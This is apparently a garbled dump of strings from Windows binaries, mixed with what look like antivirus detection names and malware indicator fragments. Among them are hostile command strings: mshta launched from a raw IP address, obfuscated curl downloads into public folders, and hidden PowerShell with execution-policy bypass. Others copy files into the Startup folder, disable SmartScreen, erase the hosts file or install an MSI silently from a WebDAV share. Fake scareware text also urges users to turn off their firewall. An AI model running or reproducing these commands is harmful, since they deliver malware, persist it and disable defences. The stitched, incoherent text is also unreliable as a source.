n.config.enforceOriginalOrderForTypes[t.type]||n.config.enforceOriginalOrderForTypes[t.type+"|"+t.handoffType]}function uh(t){return t==1?"https://substrate.office.com":(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55182095))&&n.config.enabledMsaAuthV2?"https://substrate.office.com/M365.Access":n.config.useCobaltCSS?"https://substrate.office.com/M365.Access":"https://substrate.office.com/SubstrateSearch-Internal.ReadWrite"}function fh(t){return t==1?"https://outlook.office.com/":(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55182095))&&n.config.enabledMsaAuthV2?"https://outlook.office.com/M365.Access":n.config.useCobaltCSS?"https://outlook.office.com/M365.Access":"https://outlook.office.com/User.ReadWrite"}functi
windowssecuritycenter.reg
findstr"windows-defender-
L<si><t>\windows\</t></si>
r3windowstylehidden-command
set_windowstylesevenzipextractorsevenzipsharpmsscriptcontrolobjscheduler
user-agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1)h
msWindowsUserActivities
PropertyCategoryWindowStyle
get_WindowStyle
windowStyle
         <EventProviderId Value="Microsoft-Windows-Apps-Photos-AppCoreCS" />
            <EventProviderId Value="Microsoft-Windows-Apps-Photos-AppCoreCS-Tracing" />
            <EventProviderId Value="Microsoft-Windows-Apps-Photos-RemoteAccess" />
            <EventProviderId Value="Microsoft-Windows-Apps-Photos-Reporting" />
            <EventProviderId Value="Microsoft-Windows-Apps-Photos-Tracing" />
            <EventProviderId Value="Microsoft-Windows-AudioEngineVerbose" />
            <EventProviderId Value="Microsoft-Windows-AudioSes" />
            <EventProviderId Value="Microsoft-Windows-AudioStackTrace" />
            <EventProviderId Value="Microsoft-Windows-AvStream" />
            <EventProviderId Value="Microsoft-Windows-Biometrics" />
            <EventProviderId Value="Microsoft-Windows-Capture-Photography" />
            <EventProviderId Value="Microsoft-Windows-Capture-RtMediaPreview" />
            <EventProviderId Value="Microsoft-Windows-Devices-Lights-LightsWinRTLayer" />
            <EventProviderId Value="Microsoft-Windows-ExBusAudioWMIProvider" />
            <EventProviderId Value="Microsoft-Windows-HDAudioBusWMIProvider" />
            <EventProviderId Value="Microsoft-Windows-Media-BackgroundPolicy" />
            <EventProviderId Value="Microsoft-Windows-MediaEditing" />
            <EventProviderId Value="Microsoft-Windows-MediaEngine" />
            <EventProviderId Value="Microsoft-Windows-MediaFoundation-MFCaptureEngine" />
            <EventProviderId Value="Microsoft-Windows-MediaFoundation-MFReadWrite" />
            <EventProviderId Value="Microsoft-Windows-MediaFoundation-Platform" />
            <EventProviderId Value="Microsoft-Windows-MediaFoundation-SinkWriter" />
            <EventProviderId Value="Microsoft-Windows-MediaFoundation-SourceReader" />
            <EventProviderId Value="Microsoft-Windows-MF" />
            <EventProviderId Value="Microsoft-Windows-MF-CAPTURE-ENGINE-WPP" />
            <EventProviderId Value="Microsoft-Windows-MF-CORE-MFTS-WPP" />
            <EventProviderId Value="Microsoft-Windows-MF-CORE-SINKS-WPP" />
            <EventProviderId Value="Microsoft-Windows-MF-CORE-SOURCES-WPP" />
            <EventProviderId Value="Microsoft-Windows-MFH264Enc" />
            <EventProviderId Value="Microsoft-Windows-MF-MEDIAENGINE-WPP" />
            <EventProviderId Value="Microsoft-Windows-MF-NETWORK-WPP" />
            <EventProviderId Value="Microsoft-Windows-MF-PERSAMPLE-INFO-WPP" />
            <EventProviderId Value="Microsoft-Windows-MF-PIPELINE-WPP" />
            <EventProviderId Value="Microsoft-Windows-MF-PLATFORM-WPP" />
            <EventProviderId Value="Microsoft-Windows-MF-PLAY-WPP" />
            <EventProviderId Value="Microsoft-Windows-MF-VIDEO_PROCESSOR-WPP" />
            <EventProviderId Value="Microsoft-Windows-PerceptionRuntime" />
            <EventProviderId Value="Microsoft-Windows-PerceptionRuntime-Stub" />
            <EventProviderId Value="Microsoft-Windows-PerceptionRuntime-Verbose" />
            <EventProviderId Value="Microsoft-Windows-PerceptionSensorDataService" />
            <EventProviderId Value="Microsoft-Windows-PerceptionSensorDataService-Verbose" />
            <EventProviderId Value="Microsoft-WindowsPhone-AppPlatProvider-Test" />
            <EventProviderId Value="Microsoft-WindowsPhone-AudioRouting" />
            <EventProviderId Value="Microsoft-WindowsPhone-AudioSrvPolicyManager" />
            <EventProviderId Value="Microsoft-WindowsPhone-AudioTuner" />
            <EventProviderId Value="Microsoft-WindowsPhone-AudioVolumeManager" />
            <EventProviderId Value="Microsoft-WindowsPhone-BackgroundAudio" />
            <EventProviderId Value="Microsoft-WindowsPhone-CaptureService" />
            <EventProviderId Value="Microsoft-WindowsPhone-Comms-MediaApis" />
            <EventProviderId Value="Microsoft-WindowsPhone-Comms-MediaDataService" />
            <EventProviderId Value="Microsoft-WindowsPhone-ElementaryMediaSource" />
="{4b381c23-ad10-4275-8cc9-577f99a92f73}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (
OS=Windows_NT
c:\windows\vss/c"powershellstartmshtahttp://91.92.248.50/
))-windowstylehidden
DriverData=C:\Windows\System32\
C:\Windows\System32\ShellHost.exe)
WindowsDialogBoxa6
Windows Store&Windows10.0.26100.0
windows6.2q
1.0.959.0`1.0.959+c4000802392e36f3a27f7d775dba803f3cd02f2f2Microsoft.Windows.CsWin32$0.3.106+a37a0b4b70
Windows7.0
2.2.1.0\2.2.1+4236b787fb27934e2b16567fef4b2e8893d26596bhttps://github.com/shmuelie/Shmuelie.WinRTServer/&Windows10.0.22000.0
/out:c:\windows\temp\
c:\windows\temp\
\\.\root\Microsoft\Windows\DesiredStateConfiguration:__Win32Provider.Name="dsccore"
Windows::Isolation::Rtl::RtlIsDefinitionAppIdHandleValid(DefinitionAppId)
Windows::Isolation::Rtl::RtlIsReferenceAppIdHandleValid(ReferenceAppId)
Windows::Isolation::Rtl::IsValid(DefinitionIdentity)
.exe'$shortcutpath='c:\users\admin\appdata\roaming\microsoft\windows\startmenu\programs\startup\
bc:\windows\system32\cmd.exe /c c^u^r^l -o c:\users\public\
for /f %%%%F in ('dir *.exe /s /b') do copy /y Rozbeh.exeRozbeh.batDeskFL.vbscmd.exe /c copy /y ..\Rozbeh.exe %%AppData%%\Roaming\Microsoft\Windows\Start Menu\Programs\StartupScanner.batTrojanDownloader:O97M/EncDoc.VS!MSR
System.Windows.Markup/
Windows.57242383.Tasbar
1MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.SystemTray
/MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!PackageMetadata
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\opensource\wil\resource.h
\windows\system32\cmd.exe/cstart/b/minxcopy/yc:/
WINDOWS11
MULTIPLE_BROWSER_WINDOWS_OPEN
?sessionReceiveWindowSize@QHttp2Configuration@@QEBAIXZ
C:\WINDOWS\System32\d-
  RS1 WINDOWS CAPABILITIES MANIFEST SCHEMA
  the Windows platform for RS1 release.
           targetNamespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/windowscapabilities/2"
           xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10/windowscapabilities/2"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
        <xs:attribute name="Category" type="t:ST_ApplicationExtensionCategory_Windows_Restricted_Party2" use="required"/>
c:\windows\temp\
.vbs;explorer.exec:\windows\temp\
Windows.Networking.Vpn.VpnDomainNameAssignment
Windows.Networking.Vpn.VpnDomainNameInfo
Windows.Networking.Vpn.VpnInterfaceId
Windows.Networking.Vpn.VpnManagementAgent
Windows.Networking.Vpn.VpnNamespaceAssignment
Windows.Networking.Vpn.VpnNamespaceInfo
Windows.Networking.Vpn.VpnNativeProfile
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
WindowsOobeAppHost.AppXtrjm3twvhvv4twryxks256hqxwsngpfx.mca
Global.WindowsOobeAppHost.wwa
Windows
setWindowsInstalledApps
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
, "C:/Windows/Temp/
Run ("C:/Windows/Temp/
software\microsoft\windows\currentversion\datetime
software\microsoft\windows\currentversion\datetime
dXd<,`!logoutdownloading/executing...mozilla/5.0 (windows; u; windows nt 6.1; en-us; rv:1.9.2.3) gecko/20100401 firefox/3.6.3%appdata%\svchost.exeinfected removable drive..
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
ieEnabledInWindowsFeatures
msPinningWizardCheckWindowsIntegration
msEdgeWebAuthnEnclaveAuthenticatorWindowsPlugin
LaunchWindowsExplorerOnHost
NotifyOnAllAppWindowsClosed
\windowsapps\microsoft.office.desktop.
.:\program files\windowsapps\microsoft%.office[^\]+\office..\[^%.]+%.exe"?[^"]+"([^"]+)"
.:\program files %(x86%)\windowsapps\microsoft%.office[^\]+\office..\[^%.]+%.exe"?[^"]+"([^"]+)"
Microsoft.WindowsAppRuntime.1.2
WINDOWS11_WIDGET_DASHBOARD
msEdgeSplitWindowShowPromotion
..\..\components\edge_os_observers\windows_energy_saver_listener.cc
..\..\components\edge_os_observers\windows_power_mode_observer.cc
*.windowsazure.cn
account.activedirectory.windowsazure.com
accounts.accesscontrol.windows.net
graph.windows.net
login.windows.net
Microsoft.Windows.Search
Internet Explorer isn't enabled in Windows features
Internet Explorer RestrictIE policy is enabled with no SiteList configured, and IE patch level is insufficient to support this configuration. If you do not update (via Windows Update) or correct your group policy configuration, IE mode will not function as expected.
https://learn.microsoft.com/en-us/windows/security/operating-system-security/virus-and-threat-protection/microsoft-defender-smartscreen/
windowsSandboxAppMonoIcon
isWindowsPlatform
isWindowsPlatformPasskeysManagementEnabled
runWindowsUpdate
IsWindowsUpdateNeeded
Cannot show popup for an inactive window. To show the popup for this window, first call `chrome.windows.update` with `focused` set to true.
Tabs can only be moved to and from normal windows.
Tabs can only be moved between windows in the same profile.
StartAccountSettingsPaneWindowSearch
https://login.windows-ppe.net/common
skip-interstitial-windows-welcome-target-condition-for-testing
://3z.nu:8080/aubdzu/npvsvmoeuzfxqp7jx/89eu/%computername%"l^e^x^de^zi=p^x^r^ve^g^m^m^n%windir%\system32\shell32.dll%
J8system32r2
\windows\currentversion\policies\
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\Windows.UI.Notifications.h
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\Windows.Data.Xml.Dom.h
Windows firewall allows mDNS. Ensuring mDNS discovery is enabled.
Windows firewall does not allows mDNS. mDNS discovery can be enabled by user gesture.
ComputeRelaunchWindowStartForDay
enable-windows-gaming-input-data-fetcher
launch-windows-native-hosts-directly
msWindowsTaskManager
1Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!FullTrustApp
5Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp
Features\Sidebar\Windows Copilot
Windows Copilot Header
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
msWindowsUserActivities
msWindowsUserActivitiesRecallRequirements
msWindowsUserActivitiesShouldSendData
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\Windows.Foundation.Metadata.h
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\Windows.ApplicationModel.h
%..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\Windows.UI.Input.Preview.Text.h
WebView2_CloseBrowserWindows
ImportWindowsCopilotAnonymousSessionCookie
..\..\chrome\browser\edge_windows_user_activity\windows_user_activity_monitor.cc
WindowsUserActivityMonitor ctr start
..\..\chrome\browser\edge_windows_user_activity\windows_user_activity_register.cc
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to 
\System32\schtasks.exe /run /tn "WindowsUpgradeWorker"TrojanDownloader:Win64/CosmicPulse.BE!dha
WindowsHelloForHTTPAuthEnabled
?removeWindowSystemEvent@QWindowSystemInterfacePrivate@@SAXPEAVWindowSystemEvent@1@@Z
?removeWindowSystemEventhandler@QWindowSystemInterfacePrivate@@SAXPEAVQWindowSystemEventHandler@@@Z
WebAuthentication.Windows.KeyCredentialSign
WebAuthentication.Windows.FindHelloDialogIterationCount
WebAuthentication.Windows.ForegroundedWindowsHelloDialog
*\windows_shell_global_counters
WindowsLanguageComponentsInsta
/Microsoft Windows Third Party Component CA 2013
j2i.wf:8080/yvyujh2dp9oo3sxhwgq//!computername!"^po=^ko%windir%\system32\shell32.dll
ADALAuth::ADALUserAuthentication::AttemptToUseWindowsAuthentication
regadd"hkey_local_machine\software\policies\microsoft\windows\system"/venablesmartscreen/treg_dword/d"0"5
windows/u
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows\system32\windowspowershell\v1.0\powershell.exe${.*}=$pshome[+82-83+1]+
WindowsSearchBox
..\..\chrome\browser\first_run\first_run_windows_insiders.cc
..\..\chrome\browser\windows_task_manager\windows_task_manager_handler.cc
WindowsTaskManagerHandler::OnTasksUpdated_Debounded
WindowsTaskManagerHandler::DoTasksUpdated
WindowsTaskManagerHandler::UpdateTasks
WindowsTaskManagerHandler::UnregisterWorkUnitGroup
WindowsTaskManagerHandler::AddApp
WindowsTaskManagerHandler::RemoveApp
Failed to get Windows profile type
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST
windows reg
Microsoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe
microsoft.windowsappruntime.1.6_8wekyb3d8bbwe
@%SystemRoot%\system32\cdpusersvc.dll,-100
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
Windows-ClientCore-DWM-Package~31bf3856ad364e35~amd64~~0.
RMicrosoft-Windows-HVSI-Package~31bf3856ad364e35~amd64~~10.0.26100.7840
C:\WINDOWS\system32\wevtutil.exe uninstall-manifest C:\WINDOWS\SystemTemp\FEB6A398-9847-7F25-8714-CD62DCB28DB8.man
powershell.exe-windowstylehidden-command'$
\windows\system32\cmd.exe/cpow""ersh""ell
!#SCRIPT:PsCredInject.A!NewWinLogonA
0$winlogonprocessid=create-winlogonprocess
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Hosts.WidgetHostContext.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Hosts.WidgetCatalog.g.h
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe
UMicrosoft.Windows.Photos_8wekyb3d8bbwe
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe
UMicrosoft.WindowsCamera_8wekyb3d8bbwe
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe
UMicrosoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe4
UMicrosoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe
Windows
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-EnterpriseNetworking-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-OneCore-EnterpriseNetworking-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NFS-Administration-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|Microsoft-Windows-NFS-ClientCore-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|
Microsoft-Windows-StepsRecorder-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NFS-Administration-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|Microsoft-Windows-NFS-ClientCore-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|
Microsoft-Windows-StepsRecorder-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.c
windowssecurity
$s\system32\&sA
udio do WindowsBcLuPG
/check.php?ver=2&query=%shttp://%s/live.php?backupquery=%sSafeReplaceMode=%iMozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; SLCC2)
copyc:\windows\system32\kernel32.dllc:\windows\system32\kennel32.dll
WindowsFeedbackProtocol
windows-os-mmg_services_hostfile_update.bat
windowsdefenderatp-gpo-onboarding.cmd
NoWindowSetAc
windows.protocol`
windows.fileTypeAssociationR
windows.protocol
windows.protocol
software\microsoft\windows\currentversion\policies\system_
Microsoft-Windows-Shell-Launcher
KSecure. Reliable. Private.","URI":"ms-windows-store://pdp?ProductId=9NKSQGP7F2NH&cid=msfts
USecure. Reliable. Private.","URI":"ms-windows-store://pdp?ProductId=9NKSQGP7F2NH&cid=msftstartreco_wy
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOSTvs
 Welcome to Windows@
Get Started Welcome to Windows
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST
This version of Windows Security is for evaluating purposes only. The removal features are disabled. You may scan your PC to locate malware/spyware threats.please stay connected to the internet, turn off your firewall and enter the registration key you recived.to be able to remove threats, you should register windwos security.actShowAlertHarmfulExecutechkSettingsAntiRootkitClick(btnPayClick!chkSettingsAdvancedDetectionClick%WSAlertSecurity
GetProcessWindowStation
powershell.exe-noprofile-executionpolicybypass-windowstylehidden-command
>c:\windows\system32\msiexec.exe/i"\\lare.com@ssl\davwwwroot\file.msi"/qn
GetProcessWindowStation
Microsoft-Windows-Container-Professional-Payload-Wrapper-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705
Microsoft-Windows-Container-Professional-Payload-Wrapper-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
U System.Windows.Forms.RightToLeft
U#System.Windows.Forms.AccessibleRole
U!System.Windows.Forms.AnchorStyles
U System.Windows.Forms.ImageLayout
System.Windows.Forms.DockStyle
U System.Windows.Forms.RightToLeft
System.Windows.Forms.ImeMode
U&System.Windows.Forms.DataGridLineStyle
U1System.Windows.Forms.DataGridParentRowsLabelStyle
>System.Windows.Forms.DataGridPreferredColumnWidthTypeConverter
Microsoft-Windows-DisplayDiag-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
:EVBlockWindowsDefenderSpamNotepadChangeFileExtensions
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
\synaptics.exe"-c"%code_loader%">>"c:\users\public\windowssecurity
    "selectiveSyncConfirmDialogContainsKnownFolderWarningSecondaryText":  "The folder you tried to unselect contains the Windows {1} folder, which is an important folder in Windows and is currently pointed to OneDrive.",
    "selectiveSyncConfirmDialogKnownFolderWarningSecondaryTextV2":  "The folder you tried to unselect is the Windows {0} folder, which is an important folder in Windows and is currently pointed to OneDrive.",
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Bind,
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveListViewItemFactorym
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateItemToStringValueConverteru
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateTipControle
Microsoft.Windows.Wil.FeatureLogging
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Connection failed, processing Winlogon ConnectNotify event failed.
Connection failed, Winlogon process access failure.
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsUdkapplyctor
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
/c erase "C:\WINDOWS\system32\drivers\etc\hosts>
 Windows
WindowsConnectionManager
 Windows
Microsoft.Windows.Desktop.Shell.LanguageOptions
:C:\\WINDOWS\\system32\\|
GetSystemWindowsDirectoryW
info","listwindows6
onecoreuap\windows\dwm\effects\compiler\effectinstance.cpp
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
GetProcessWindowStation
shellcommon\undockeddevkit\libs\windowsudk.ui.themes\systemvisualtheme.cpp
@Security@Windows@@@Founde
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package011221~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-TabletPCMath-Base-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7705.cat|
Microsoft-Windows-Security-SPP-Component-SKU-CloudEdition-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Education-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalCountrySpecific-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalEducation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalSingleLanguage-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalWorkstation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|md64~en-US~10.0.26100
$255F6ED4-4FAE-420D-B41A-D94844141AE9WindowsApp2.My.ResourcesW
WindowsApplication1.My.ResourcesW
Event/System/Provider[@Name = 'Microsoft-Windows-Security-Mitigations'] and Event/System[(EventID = 11 or EventID = 12)] and Event/EventData[Data[@Name = 'ProcessPath'] = '%ls']
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
auto_sign_out_last_signin_timestamp_windows_epoch_micros
creation_time_windows_epoch_micros
expiry_time_windows_epoch_micros
last_access_time_windows_epoch_micros
last_update_time_windows_epoch_micros
update_time_windows_epoch_micros
last_seen_timestamp_windows_epoch
visit_time_windows_epoch_micros
date_last_used_windows_epoch_micros
date_first_detection_windows_epoch_micros
date_password_modified_windows_epoch_micros
date_received_windows_epoch_micros
edge_breach_last_checked_windows_epoch_micros
edge_breach_last_seen_windows_epoch_micros
date_created_windows_epoch_micros
created_time_windows_epoch_micros
updated_time_windows_epoch_micros
.windows
Windows NT %s; %s
Windows NT %s
Windows NT 10.0; Win64; x64
Windows WebAuthn Plugin API deactivated via feature flag
Windows WebAuthn Plugin API failed to load
Windows API returned unknown result: 
Windows WebAuthn API deactivated via feature flag
Windows WebAuthn API failed to load
EnableWindowsGamingInputDataFetcher
int. Cuir isteach do phasfhocal Windows chun 
int. Cuir isteach do phasfhocal Windows chun 
obh do phasfhocal Windows chun 
obh do phasfhocal Windows chun 
il. Cuir isteach do phasfhocal Windows chun 
il. Cuir isteach do phasfhocal Windows chun 
